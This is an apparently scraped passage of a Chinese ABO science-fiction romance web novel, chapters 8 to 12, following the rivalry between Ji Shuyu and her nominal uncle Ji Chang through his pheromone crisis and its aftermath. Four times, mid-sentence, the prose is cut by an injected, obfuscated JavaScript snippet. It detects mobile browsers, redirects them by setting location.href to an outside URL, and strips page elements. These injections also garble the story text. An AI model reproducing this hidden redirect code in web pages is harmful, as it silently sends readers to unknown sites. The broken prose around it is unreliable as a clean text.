到时候不论他是否犯错,只要季舒虞想,季尝就会死在她手里。 她们无时无刻不想要对方死,但季尝居然做出这个决定,这的确在她计划之外。 季舒虞复杂地看着他:“就不怕我心情不好杀了你?” “你不是这样的人,”季尝突然抬眼看她,“你还是笑起来好看,小鱼,为什么不多笑笑?” 季舒虞没有回答。 她其实心里面还有些不舒服。 就算是并肩多年的副官文青山,也比不上她和季尝的默契,她清楚跟他做盟友是自己目前最好的选择。 但季尝能做到把命交给她,季舒虞甚至会在一瞬间对两人关系的定义产生怀疑,但没过多久她就彻底打消了这个念头。 不论刚刚季尝做了怎样的决定,只要芯片没有植入他的身体,这件事就是存在变动的,有可能他只是想利用她,让她改变主意。 季尝是很擅长玩弄人心的。 “别总是凑我这么近,你这样,总让人有种我们是暧昧对象的错觉,”季舒虞无情地推开他,“下车。” 飞行器后的朱雀和脆皮看起来有些难舍难分。 一鸟一蛇缩在角落,乖巧依偎在一起。 季舒虞把朱雀带回家,就接到了文青山的消息。 【长官,执行官手中的确有教皇的把柄。】 【她不得不为执行官做事。】 【教皇的女儿现下在执行官大人的福利院里。】 事情变得有趣起来。 教皇很喜欢小孩,但这个身份,注定她不会有孩子。 她女儿被季尝捏在手上,就算孩子死在季尝的手里,她也不能通过上层给他什么惩罚,这件事一旦捅出去,她这个教皇也做不成。 “果然很坏。” 季舒虞看了一眼手边的朱雀,教育她:“近墨者黑,少跟那条坏蛇玩,会把你带坏。” 朱雀啾啾叫了两声,假装听不懂。 今晚的宴会是皇室与教会联合举办的,既然教皇是季尝的人,那么宴会应该也有他的手笔。 难怪安排刺杀能这么顺利,他也总一副有恃无恐的模样。 季尝原本是不打算去的,因为她的邀约才前去吗。 季舒虞沉默着打开了两人的聊天界面。 消息还停留在三年前,是季尝给她打了一个全息视频,被他拒绝了。 【有事?】 季尝:【没。】 【你故意的。】 季尝:【是啊。】 季尝:【看看你今年死了没^^】< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16299939|182775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 来自三年前,新年那天晚上别样的祝福。 他这个人就是很恶劣,嘴巴也很坏。 季舒虞从小就不喜欢他。 这人长了一张好看的脸,看上去温温柔柔好说话,但总一副伪善的模样,说话毒的要死,她知道季尝阴险狡诈,所以对他设防。 她输入了一行字,想了想,删除。 这时,聊天界面显示出季尝发来的信息。 【输入什么呢,发出来给我看看。】 季舒虞晾了他一会【作为生活秘书,你不该过来伺候吗?】 【……你说的那是奴隶,不是秘书了。】 【没什么区别,过来。】 那边很长时间没有回答。 季舒虞关闭终端的光幕,她手上有太多事了,不会把心思放在这一件小事上的。 半晌,门禁的全息投影出现在她眼前。 季尝的脸几乎要贴在上面,他低着头,像是在整理什么:“小兔子乖乖,把门开开。” “……” 季舒虞从来不会无缘无故的讨厌一个人。 季尝换下了宴会上的白色西装,只穿了一件宽松的浅色毛衣,显得他更瘦了。 他有些散漫地直接坐在了沙发上,鼻梁上还架着浏览镜,看起来斯斯文文的,但季舒虞知道,一切都是假象。 如果说白天两人是全副武装的针锋相对,还在人前维持着体面,那么晚上就不用再顾忌别人的眼光。 可以穿着随意的用言语攻击彼此。 “饿了?”季尝推了推半框镜,“想吃什么,跟小叔说,一会给你去做。” 季舒虞推开那条想要缠绕在她手腕上的黑蛇:“真拿自己当长辈了?” “嗯,到底是你的小叔,”季尝点点头,仍旧是一副理所当然的模样,“你小时候我还带过你一阵呢,真是个小没良心的。” 那是很久以前的事了。 她们差了七岁,作为她名义上的小叔,当时季舒虞曾被安排与季尝同住。 那时,她们对对方的厌恶程度不比现在少。 也比现在激烈多了。 季尝想要炸掉厨房的同时炸死她,假装是事故,但他失败了。 季舒虞也曾在各项比试中对他痛下杀手,她跟季尝不一样的点是,她的杀心从不掩藏。 当然,也有不那么激烈的时候,比如季尝偶尔烘焙,她会在一旁帮倒忙,慢慢把一小块面团给捏死。 那么在蛋糕饼干出炉的时候,会混进去几个烤好的死面饼子,那都是被她彻底捏死的。 季尝经常暗中对她下手,像是隐藏在暗处的毒蛇,伺机而动,随时可能咬她一口,而季舒虞也不是吃素的,她们就这么打来打去,从一开始,所有人就都知道她们不对付。 直到后来,她彻底赢了季尝,他作为失败者前往M618星。 与她设想的一样,季尝在短短几年内完成任务,回归她们的星球。 “嗯,是带了我一阵,在M618星的时候有没有后悔当时没有杀死我?”季舒虞评价,“比我多活几年,却没有能力杀死我,我一直觉得你挺无能的。” 季尝眯了眯眼睛:“你的攻击性越来越强了,怎么想到让我做生活秘书。” “让我猜猜,是为了折辱我吗,大小姐?” 9. 第 9 章 季舒虞若有所思:“这倒是个好主意。” 季尝轻哼了一声,没有当回事,还真就站起来朝着厨房去了。 他轻车熟路地拿起一条黑色的围裙,把手背到身后,细腰的弧度都随着绑带的动作被勾了出来。 蔬菜是智能管家立即送来的,季尝洗手切菜,动作娴熟。 柔软的头发没有被绑上,随着他低头的动作垂了下来。 季舒虞看了一会,没有出声,屋内只有他规律的切菜声。 从始至终她都没有表达需求。 她只是让他过来履行一些生活秘书的职责,这人就去了厨房。 他好像很喜欢做饭,在很久以前,养母季昀政都是派人送营养液来,但喝营养液总是很单调,同样不喜欢营养液的是季尝,他会亲自下厨做饭给两人吃。 不过自从吃了他做的早饭被毒晕后,她就长了记性,从此再不肯吃季尝做的饭。 他就是这么坏的人,芯子都黑了,喜欢挑人最薄弱的时候暗中下手。 饭菜的香味很快飘了出来。 “要饿晕了吗,怎么直勾勾地看着我?”季尝抬眼笑她。 季舒虞移开视线,开始处理公务:“在想一会给你派点什么活。” 她嘴角勾起来一点,针锋相对十年的宿敌,现在来给她当生活秘书。 细想来还是挺解气的。 唯独一点就是存在安全隐患,她需要时刻警惕。 但这些都不算什么,能看到季尝吃瘪,她就能愉悦一点。 【长官,我们在M618的人传来讯息,执行官可能已经叛变了。】 季舒虞垂下眼睫。 季尝带着目的回来的,她当然知道。 如果不是因为有什么要完成的事,他在M618星做一个星际最高训导官没有什么不好的。 但他要整个季家,要插手家族的事,就必然不能留在M618星。 叛变,谁能完全收买季尝呢? 能把整个季家给他的人,星际没有几个这样的掌权者,皇室、星盟总督、季家族长。 季尝有意藏拙,并不是谁都知道他的实力,那么他展现出来的哪点能让这些大人物把季家作为筹码? 季家可是三大财阀之一。 季尝抱臂倚在门边:“大小姐,吃饭还要我喂你吗?” 她回神,平静地看着季尝:“过来服侍我换衣服。” “啧,真拿我当下人使唤?”季尝不情不愿地过来,俯身要解开她的扣子,脱下那身军装。 清新淡雅的草木味道凑得很近,微微潮湿的,那是大自然的气息,没有刺鼻的味道,季舒虞没有避开。 她看着季尝低垂着的眉眼:“不服?” “哪敢,毕竟我是私生子,您可是季家未来话事人,”季尝哼笑的温热气息落在她脖颈,“将来我还得指望大小姐您啊。” “好好说话,”季舒虞打断他,“你和上面那些人什么时候走这么近了?” 他神色太正常了,或者是,他的心理承受能力很强,根本看不出异样,甚至似笑非笑地看了过来:“要我跪下为你换鞋吗?” 季舒虞攥住他要抽离的手:“……先回答我的问题。” “吃醋了?怎么,我就只能跟你走得近,大小姐,你这样很容易让我怀疑你喜欢我。”季尝有些为难地看着被握住的手,“小叔和侄女,私生子和养女,可真是一件星际丑闻啊……” 季舒虞登时皱着眉松开了他的手。 一脸厌恶,遮掩都遮不住。 季尝总是会恶心她,他知道季舒虞最讨厌什么。 果然是丑闻,丑到她只是听一听,整个人就已经被恶心到不舒服了。 他唇角勾着凉薄的笑,就当那双手要碰到她的小腿,真的打算动手为她换鞋的时候,被她叫停:“出去。” “不需要生活秘书了?”季尝扬了扬眉,“我难道是什么召之即来挥之即去的下人吗?” 明明他是故意要用这种办法脱身的,偏偏要做出这副模样。 季舒虞扫了他一眼,后者笑着颔首离开:“记得吃饭啊,大小姐。” 屋内还有他信息素的味道。 仿佛在提醒季舒虞,她的领地刚刚有其他人来过。 在季尝离开后,季舒虞吩咐智能管家:“开窗通风。” 晚上的风有点凉,裹着刚刚残留的草木味道,来来回回在她鼻尖漾。 晚风穿堂吹过,半拉着的窗帘也跟着一晃一晃的。 整个房间被黑暗吞噬。 季尝撑着冰冷的墙壁,倒在沙发上。 他感觉得到,身体灼热得像是着了火,理智也将要被这把突如其来的大火烧得一干二净。 这不对劲。 他的指尖在发抖,此刻,哪怕是伸手去拿抑制剂的动作都万分艰难。 他一点力气都没有了。 “脆皮,”他艰难地吐出这几个字,“针剂……” 季尝对于抑制剂的依赖已经达到了病态的程度。 他清楚自己的易感期还早,但现在的反应和易感期接近,他下意识就要用抑制剂来为自己缓解。 原本身体是滚烫绵软的,让他丧失了行动的能力,现在则变成了尖锐的疼痛,连 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16299940|182775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带着心脏也传来了闷闷的疼痛,随时会喘不上气。 季尝眉头紧紧皱着,整个人顿时失了血色。 心口处的毛衣被他攥得变了形,季尝眼前昏花,颤抖着拨出一个号码。 “快死了,来救我……” 全息视频里,季尝紧闭着双眼,嗓音哑得厉害。 可能是因为终端离得太近,他呼吸的声音都被收录进来,正不规律的喘息着。 季舒虞习惯把声音调的很大,她刚吩咐智能管家关闭所有门窗,低低的喘息在密不透风的房间里,被无形的场域托着,一层一层地往她耳朵里钻,像是季尝趴在她耳边喘。 “恶作剧?” 他那里很黑,可能没有开灯,但月光能让季舒虞看着他颤抖的睫毛。 那边没再传来说话声。 他呼吸的声音有些不规律。 季舒虞直接关闭全息视频。 大门被人暴力地破开,发出巨大的警报声。 原本昏暗的屋内,因为有人非法闯入,瞬间因为各种强光的存在变得异常明亮。 沙发上的季尝蜷缩着身子,眉头紧紧皱起,脸色惨白如纸,额头上布满了细细密密的汗珠。 季舒虞从来没见过他这幅模样,只是进门的一瞬间,她就察觉到了不对劲。 整栋房子里都充满了浓郁的、潮湿的味道,像是突然置身远古时期的森林,但与真正的自然不同的是,这股信息素随时能让她暴动。 季尝是攻击型的omega,这股强劲的信息素几乎是拍在了她的脸上,让她不得不屏住呼吸,即便这样,季舒虞原本抑制的很好的信息素也开始变化,像是要迫不及待的跟季尝的信息素紧密交织在一起。 这不对劲。 “季尝,你到底怎么了?”季舒虞勉强稳住身形,她的脸色也难看极了,强行抑制信息素的爆发是非常痛苦的一件事。 她的脑袋也要被这股信息素冲击的不清楚了。 这个蠢货,难道不知道在易感期到来之前提前注射抑制剂吗? 她担心这人真的死在家里,赶来查看,结果没有防备他的信息素。 季尝没有应声。 季舒虞没再犹豫,当即冲了进去,翻找抑制针剂。 她这个小叔从来缜密,照理来说,抑制剂应该会备上许多,以备不时之需,偏偏她自翻到了一箱过期的。 “……你究竟什么时候到?”季舒虞的太阳穴也跟着突突直跳。 【马上。】 她不能待太久,不然她的信息素也会暴走。 再待下去,可就真要酿成星际丑闻了。 10. 第 10 章 “小叔和侄女,私生子和养女,真是星际丑闻啊……” 季尝的声音仿佛还在耳边回荡。 她没有想过,自己跟季尝的匹配度会这么高。 至少有80%。 季舒虞立刻咬破舌尖,有疼痛与血腥味的存在,她就能再坚持一会。 半夜出了这样的事,她等了一段时间才等来了家庭医生。 不过来的人不是珍妮尔,而是安德森家族的其他成员,一个年轻的omega,克莱德·安德森。 青年有一头金色的卷发,他显然早就知道这边的情况了,因此穿戴严实,全副武装。 季舒虞只能看到他有一双湛蓝色的眼睛。 Omega医生什么都没有说,他蹲下身,动作很快地为季尝注射针剂。 他的小臂上还有青青紫紫的痕迹,都是针剂留下的。 “季小姐,您先出去吧,你们两个的匹配度有些高,你留在这里很危险。”克莱德看着她,很是认真地说。 她如果继续留在这,季尝确实危险。 “给我一支针剂。”季舒虞指节向他开口。 “……容我找一下。” 克莱德还真不确定自己有没有带Alpha的抑制针剂出门。 但看样子,季舒虞是要留在这里。 做什么,难道是等季尝苏醒,可她们不是死对头吗? 再来的路上,他想过太多可能性了。 季舒虞他们住的太近了,只要季舒虞想对他下手,随时能杀了他,就比如现在,季尝简直就是任人宰割的羔羊,根本没有什么反抗的能力。 她完全可以直接杀死季尝。 如果季舒虞再卑劣一点,甚至可以趁着季尝的假性易感期,将他完全标记。 一个被完全标记的omega,会丧失自主意识,将Alpha的话奉为圭臬。 但他还算清楚季舒虞的人品,好在,她不是这样的人。 季舒虞直接将那管抑制针剂注射进去,平复了一下呼吸:“他这是怎么了?” “假性易感期,”克莱德语速很快,他看了季舒虞一眼,“你们两个的匹配度太高了,他在你身边容易引发假性易感期。” 季舒虞揉了揉眉心:“那要怎么办?” 公务需要,她们每天见面的时候还多着。 “先帮我把他抬进卧室,我需要一个密闭的安静空间为他治疗。”克莱德说。 看着眼前穿着医疗制服的omega抬起了季尝的脚,她沉默了一下:“要不我来吧。” 克莱德叮嘱她:“好,他状态稍微稳定一些了,你可以把他抱进去,但还是要小心一点,动作不要太激烈。” 激烈这个词用在这里好像有点不太对。 但季舒虞没有纠正他,她居高临下地看着季尝,他脸色白的像是已经死了。 克莱德看着她的动作,惊呼:“小心小心。” 她高估了季尝的重量。 与她对战的时候,季尝招招狠辣致命,曾经一拳打碎了A阶星兽的脑袋,现在在她怀里,居然这么清瘦。 季尝真的很瘦。 今天看到他穿了宽松的浅色毛衣,季舒虞只觉得他是看着清瘦,但抱在怀里远比她所想的还要瘦。 却不是瘦弱。 他的信息素并没有完全被遏制住,可能身体还是很痛,季尝身体蜷缩的更紧了,额头抵着她的胸膛,像是抓着救命稻草一般,抓着她的衣料。 克劳德指了指床铺中央,提醒她:“放在这里就好了。” 季舒虞全程没有说话,被他指挥着把季尝搬到指定位置。 她讨厌季尝,但更多的是讨厌会说话的季尝。 眼下他这幅半死不活的样子,就没那么叫人讨厌了。 “你没有看信息素匹配度吗,你们两个的匹配度有81%,已经算很高了,如果他在你身边呆的时间太久,就会出现这样的情况,”克莱德解释,“他的身体很不好,心律失常是老毛病了,拖了很久,也不肯换心脏,谁也劝不动。” 说到这,他叹了一口气。 她静静看着克莱德给床上过分苍白的人提供了氧气,季尝的眉心缓缓舒展开一点。 季舒虞:“解决办法。” “有固定的Alpha为他提供信息素,或者,自毁腺体。” 说到这,克莱德摇了摇头:“他都不会同意的。” 摧毁腺体的确能让他从此免受易感期的折磨,但没有了腺体,季尝也会变成劣O。 季尝这么高傲的人,怎么甘愿做劣O? 他宁愿一辈子忍受易感期的折磨。 季舒虞看着他几乎没有什么呼吸起伏的胸膛:“他怎么不找易感保护人?” “匹配高的味道不喜欢,匹配低的不管用。”克莱德贴心地为他擦着额头上的汗珠,“嗯,这是指挥官的原话。” 到性命攸关的时候还要挑三拣四,也的确是季尝的风格。 季舒虞没再说什么,她不打算在季尝面前失控,及时关闭了卧室门。 原本她是不需要抑制剂的。 当初在实验室的时候,为了避免实验体因为易感期到来发狂,或是对药物产生其他反应,不利于观察,季舒虞和其他实验体一样,做了手术,能提高自控能力,信息素也会更加稳定。 只有这样,才更符合实验室对高战力的标准。 这项技术还并不成熟,但幸运的是,季舒虞是成功的那一个。 她的腺体没有被摧毁,得益于这项技术,如果不是匹配度极高的omega爆发出浓烈的信息素,她几乎是不会受到任何影响的,也因此,她在一众Alpha和omega里显得格格不入。 她不受信息素的操控,那些人说她是A同、性冷淡,甚至性缺陷的事,她都知道。 “……脆皮,下去。”季舒虞停止回想,看着那条同样处于假性发情期,紧紧缠绕着她,尾尖不停拍打着的黑蛇。 它蹭得很厉害,一点点向上攀爬。 季舒虞本来打算先去找一找,看季尝的房间里有没有什么线索,但她还是先把那条发情的蛇从自己身上解了下来,指尖不小心碰到湿润的泄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16299941|182775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 殖腔,她想了想,还是先认认真真地去洗了手。 浓郁的草木味和季尝的温度,还有发情期黑蛇的潮湿,被冰冷的水流冲掉。 跟死对头匹配度太高可不是一件好事。 季舒虞带上手套,没有检测到周围存在监控与警报装置,才动手检查。 就在她的指尖搭在桌上时,一阵电流穿过她的四肢百骸,季舒虞咬紧了牙关:“……他极有可能已经背叛我们,我需要检查他的部分物品。” 如果季尝是叛徒,那么翻找叛徒的私人物品,这的确不算违反规则。 电流停止。 季舒虞掐着掌心的手缓缓松开,她只看到季尝的大量药品。 都是治疗心律失常,或是治疗外伤,还有加速愈合的针剂,除此之外,还有一大批过期的抑制针剂。 全部是特效药。 季尝习惯了特效药。 但特效药用的时间久了,就再也不管用了。 就像他从分化成omega那一刻开始,就使用特效抑制针剂,同样是易感期的omega,对方可能一天一针就够了,但季尝需要六七针。 他已经对抑制剂产生了病态的依赖。 想到能与她匹敌的omega有可能因为依赖针剂,窝囊的死去,季舒虞就皱起了眉头。 她的确是想杀死季尝,但这人要死在她的手上,而不是其他什么东西上。 否则自己十年都没有杀死的人,却死在了一个不会引人注意的小东西上,会让人茫然无措,产生挫败的情绪。 【季小姐,你的小叔清醒一点了。】 是克莱德发给她的消息。 她其实从一开始就感觉到了,克莱德不太希望她接近季尝,大家都知道她和季尝不合,但克莱德的担心显然不是这一方面的,就像现在,他有意提醒她,季尝是她的小叔。 季舒虞关闭光幕。 她有见过季尝露出脆弱的模样吗,好像没有。 但眼前的季尝陷进柔软的鹅绒枕里,额上还贴着退热贴,看上去像一只脆弱的蝴蝶。 浅色柔软的宽大毛衣衬得他有点单薄,季尝从来没有疏于锻炼,但显然,他不论怎么锻炼都是一副瘦弱模样,这会看起来更可怜了。 看在他差点死掉的份上,季舒虞想要宽慰他一下,但季尝用虚弱的声音先发制人:“好狼狈啊小鱼,你的易感期也来了吗?” 不知道是谁的信息素突然失控,要不是这里偏远,只怕自控力差的Alpha都已经在提前的易感期进入狂躁状态了。 “真可怜。”季尝的浏览镜在治疗期间被克莱德摘掉了,这会没有了镜片的遮挡,他的眼睛还有些水润,嘴角却还带着欠揍的笑。 季舒虞突然觉得,自己不该可怜她。 “少说两句吧。”克莱德递给他一杯温水,转头看季舒虞。 他在犹豫要不要开口的时候,听到季舒虞说:“有什么话直接说。” 克莱德点点头:“执行官状态还有些不稳定,他不能再用抑制剂了,季小姐,您方便释放一些安抚信息素吗?” 11. 第 11 章 “不行。” “我不需要。” 两人异口同声地拒绝。 死对头的默契总是在诸多方面有所体现。 克莱德沉默了一会,说:“但如果不这样做的话,你的身体会受不了的,你不能再用抑制剂了,再这样下去,针剂会对你彻底失去作用。” 季尝啧了一声,看上去不以为意:“那我也不需要。” ……好像谁愿意给他了一样。 季舒虞突然就想起克莱德说的,什么匹配高的味道不喜欢,匹配低的又不管用。 季尝的信息素比较罕见,目前看来,她已经算是匹配度比较高的了。 克莱德叹了口气:“那你只能硬抗了。” 可易感期哪是那么好抗的。 即便是假性易感期,要是准备的不到位,都有可能丢了性命。 “知道了,回去睡你的觉吧。”季尝朝他抬了抬手。 随着他摆手的动作,宽松的毛衣袖口滑到小臂中间的位置,露出一点青青紫紫的针孔。 他的皮肤很白,那些带着血瘀的针孔看上去就很吓人。 赶走了克莱德,他随后看向一旁的季舒虞。 易感期是需要Alpha释放信息素的,他当然清楚再这样下去,会对身体造成怎样的危害。 如果抑制剂对他彻底失去了作用,到时候他会变成被激素支配的野兽,季尝是绝对不允许自己变成这样的。 但他也绝不接受季舒虞的施舍。 有自尊心的原因,但更多的,是他害怕自己因此彻底依赖季舒虞。 那才是最可怕的。 之前不是没有过Alpha为陌生omega释放安抚信息素,但omega因为信息素过浓,在身体里形成了难以清除的标记的情况。 虽然是小概率事件,但他不会去赌的。 没有人愿意跟死对头绑在一起。 “他想看我们斗的头破血流,季尝。”季舒虞打断了他的念头。 “……大小姐事业心未免太强了,”季尝咳了两声,放下那杯温水,“怎么这时候说起老头来了,我不想听这些。” 季舒虞没有说话。 她认识季尝十年,头一回看到他这幅模样。 在她的印象里,季尝哪怕是断了肋骨都没有掉过一滴眼泪,几乎没有谁把他当做omega。 但就是这样一个人,这会因着刚苏醒,嗓音还有点喑哑,带着一点鼻音,眼睛和嘴唇也湿润润的,看着很虚弱,像是一株需要照顾的兰花。 他这幅模样像是被谁蹂/.躏过。 季舒虞脑海中刚出现这个词汇,她当即掐断了念头,觉得恶心。 差点又被他骗到了,季尝嘴巴坏的要死,谁愿意跟他过一辈子。 他未来的Alpha好惨。 季舒虞不是一个情感太丰富的人,但她在这一瞬还是为他未来的Alpha默哀。 “我都有些可怜你了。”她直白地说。 季尝哼笑了一声,拉长了声调:“哎呀,那还真是难得,大小姐这样的人,也会可怜谁吗?” 又是这副腔调,季舒虞毫不掩饰厌恶:“也可怜你未来的Alpha。” “嗯,你也很可怜,小鱼,”季尝微微偏头,说,“刚才你进来的时候,整个人气息都有些不稳了,怎么,你也要发情了吗?” “控制好你难闻的信息素,让我提前发情,对你有什么好处?”季舒虞冷声打断他。 听她说信息素难闻,季尝缓缓瞪大了眼睛。 “难闻?” 他突然笑出了声,费解地看着季舒虞:“大小姐这话说出来不违心吗?” 季舒虞没有反驳,她当然记得,在她很小的时候,听说有一个omega的信息素是稀有的味道,闻起来像是古文明里记载的森林,草木,下过雨后湿润的香气,她对此很好奇,还曾想要高价购买一管他的信息素。 只是后面得知这个拥有稀有信息素的omega是季尝后,她就打消了这个念头。 可能闻腻了,毕竟那些年几乎每天打一架。 打架的时候,信息素纠缠到一起是无可避免。 季舒虞不打算再留下去。 天本身就很晚了,她的作息很规律,今天被季尝给搅了。 “小叔,你应该谢谢我的救命之恩,不然下次我真的会见死不救。” 季舒虞丢下这句话,没有再看他脸色,直接离开了他的院墅。 硝烟的味道有意被压制,没有那么浓烈。 随着季舒虞的离去,这股味道也跟着淡了许多。 听到大门彻底关闭的声音,季尝急促地喘了好几口气,哑声训斥那条坏蛇:“脆皮,快停下来……” 精神体和主人是一样的。 在主人进入易感期的时候,精神体同样会进入发情期。 有些影响不会很大,但季尝能感觉到脆皮身上的一切。 这对他当然是有利的,他可以让脆皮变成小小一条去探查情况,几乎不会被发现。 但能感应到精神体的一切也有弊端,比如易感期。 在他昏迷的时候,这条黑蛇就在不停地蹭来蹭去,它的尾巴来回拍打,想要借此缓解兴奋和焦躁,湿滑的泄殖腔也随着它攀爬、缠绕的动作被磨来磨去。 反而让他格外难受了。 季尝咬着牙把蛇缠在自己的手腕上,让它回到精神领域,短时间内不许再出现。 —————————— 黑暗中,季舒虞睁开了眼睛。 她的领地意识很强,敏锐地感觉到有谁进入了她的领域。 “……你来做什么?” 光幕里出现了季尝的身影。 他穿着一件奶茶色的毛衣,懒懒地打了个哈欠:“我有要紧事。” 季舒虞直接拒绝了他:“明天说,我要睡觉。” “生活秘书需要提前安排大小姐第二天的行程,快叫我进去吧。” 他一副非要进来的模样。 放在平时,季舒虞不可能让他进来。 但他今天差点就死了,想到将来还需要季尝为她提供助力,她大发慈悲地打开了门放他进来。 被吵醒他,季舒虞脸色不太好,她很小就开始厮杀,与星兽、异种搏斗,只是站在那里,就不怒自威。 季尝丝毫没有把人从睡梦中吵醒的愧疚:“脸好臭,我把我手下的一些资产整理给你看。” “……一定要今晚看吗?”季舒虞脸色非常不好,“你最好能说明这件事的紧迫性。” 但就算季尝手上有再多的星能源与星矿,都不该成为打扰她休息的理由。 “我提前接到了消息,”季尝凑近她,压低声音,“这段时间上面安排的任务,你能推就推。” 季舒虞侧身避开他的靠近:“看来你的人本事很大,但上级的指示我不能推脱。” 他身上还带着浓郁的潮湿草木味道,显然,季尝的信息素还没有平复下来。 那一瞬间,她突然就知道季尝来这一趟的目的是什么了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16299942|182775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “来蹭信息素的?”季舒虞扬起了眉头,直接点破了他的心思。 季尝保持着得体的微笑,对此避而不答:“我特意为你送来情报,大小姐,这可是关系到你性命的大事,不谢谢我吗?” 她点头:“消息我接收到了,出去吧。” 说完,季舒虞直接关闭卧室门,下达逐客令。 “……真是好狠的心。” 季尝幽幽地叹了口气。 卧室的信息素果然够浓,季舒虞很谨慎,但在她的领地里,她才是放松的,不会克制信息素自行扩散。 原本不规律的心跳,也因为这股熟悉的信息素有所缓和。 季尝指腹不断摩挲着指节。 这样下去不行。 他已经发现了,季舒虞身上那股信息素对他的吸引力几乎是致命的。 别人也就算了,谁都好,偏偏是季舒虞。 明明他可以威逼,或是利诱,让信息素的主人就范,偏偏这人是季舒虞,一个软硬不吃的女人,还是他名义上的侄女。 “你要我拿你怎么办呢……” 季舒虞望着天花板,听到门外传来一声这样的喟叹。 季尝很清楚怎么才能恶心到她。 但不论如何,这种语气都不该在她们之间出现。 他本身就是这样一个语调轻浮的人,十年都是如此,但也许是因为季尝离开了三年,再听到他说这样的话,除了熟悉感,还有不适应。 她开始怀念季尝不在的日子。 【长官,我们的人已经安排好了。】 文青山的消息在第二天大早发了过来。 她很快清醒过来,刚下飞行器就看到季尝。 “嗨,大小姐,”他精神状态很好,仿佛昨晚没睡好的人只有她,“吃过早饭了吗?” 他的视线落在季舒虞飞行器里,那一袋无味的营养液上。 季舒虞吩咐:“早饭送到我办公区。” “你最好都吃掉,别以为我不知道,昨天我亲手做的晚饭可都被你浪费了。”季尝微微一笑,像是长辈在教育不乖巧的小孩。 她没有理会弯着眼睛笑得像狐狸的人,直接前往办公区。 文青山汇报的最新消息:“上面那群大人们的做法还算统一。” 季尝这张嘴,也算为他惹了不少事。 但他这人圆滑,又能屈能伸,真与他交恶的人确实没多少。 她敲击文字,发出新的命令,才抬眼看文青山:“那就看看,看他这段时间有没有长进。” 荧幕突然浮现,赫然是季尝那张笑脸:“大小姐。” 文青山的表情凝固,随后请示:“要让执行官大人进来吗?” 似乎担心自己被拒绝,季尝补充道:“你家长官的早饭在我手上,文副官,你忍心看她饿死吗?” 但季尝送的早饭,真的能吃吗? 抱着怀疑的态度,文青山放他进来。 人还没到,季舒虞身边的朱雀就忍不住了,迫切的想要见到老朋友。 “哎呀,小小鸟这么迫不及待吗?”季尝看着停在他指尖的朱雀,意有所指地笑说,“比她可爱多了……” 季舒虞掀起眼睫看他:“你话太多了,我的饭呢?” “一会没吃饭会变成饿死鬼吗?”季尝嘴巴一如既往的坏,但还是把菜品都摆上桌。 文青山在一旁捏了把汗,不知道应不应该上前试毒。 季尝坐到她的对面,见她不动筷子,指尖扣了扣桌面:“怎么不吃,在等小叔喂你吗?” 12. 第 12 章 季舒虞看着他,夹起一片绿叶放进嘴里。 没有毒。 托季尝的福,小时候经常被他下毒,现在寻常的毒药已经不能对她造成什么危害了。 但如果季尝真的要杀死她,只需要一毫克他的毒液,季舒虞就能毙命。 不过他不会这么做的。 这一点季舒虞几乎是笃定的。 季尝需要靠她来接触季家,接触他这辈子都触碰不到的东西。 他也不会在这里下手,除非季尝不想活了。 “在想什么呢,我的大小姐,好吃到让你神游天外吗?”季尝毫不谦虚地表示,“我知道我的厨艺不错,但你有些夸张了。” “长官,前元帅要跟您商量要事。” 文青山适时出声。 她实在担心两人打起来。 之前没少出现这样的情况,从来都是因为季尝这张嘴起的祸事,两人打得不可开交。 这一项行程原本不着急,但看眼下这个情况,应该适当提前了。 季尝挑眉,听出来文青山的意思:“文副官的伤还没好吗,伤在这个位置,怎么看怎么叫人不舒服。啊,听说是被omega打的?” 文青山蹭了蹭人中的血痂,视线偏移。 “执行官,你该出去了。”季舒虞说。 季昀政叫她过去,就一定是关乎家族的大事。 人们都知道,她这个养母在她成年后,很少叫过去做些什么。季昀政的omega丈夫对她很冷淡,不太喜欢她,季舒虞也不会往她们跟前凑。 双方都默契的从来不碍对方的眼。 她跟季昀政有很长一段时间没有见过面了。 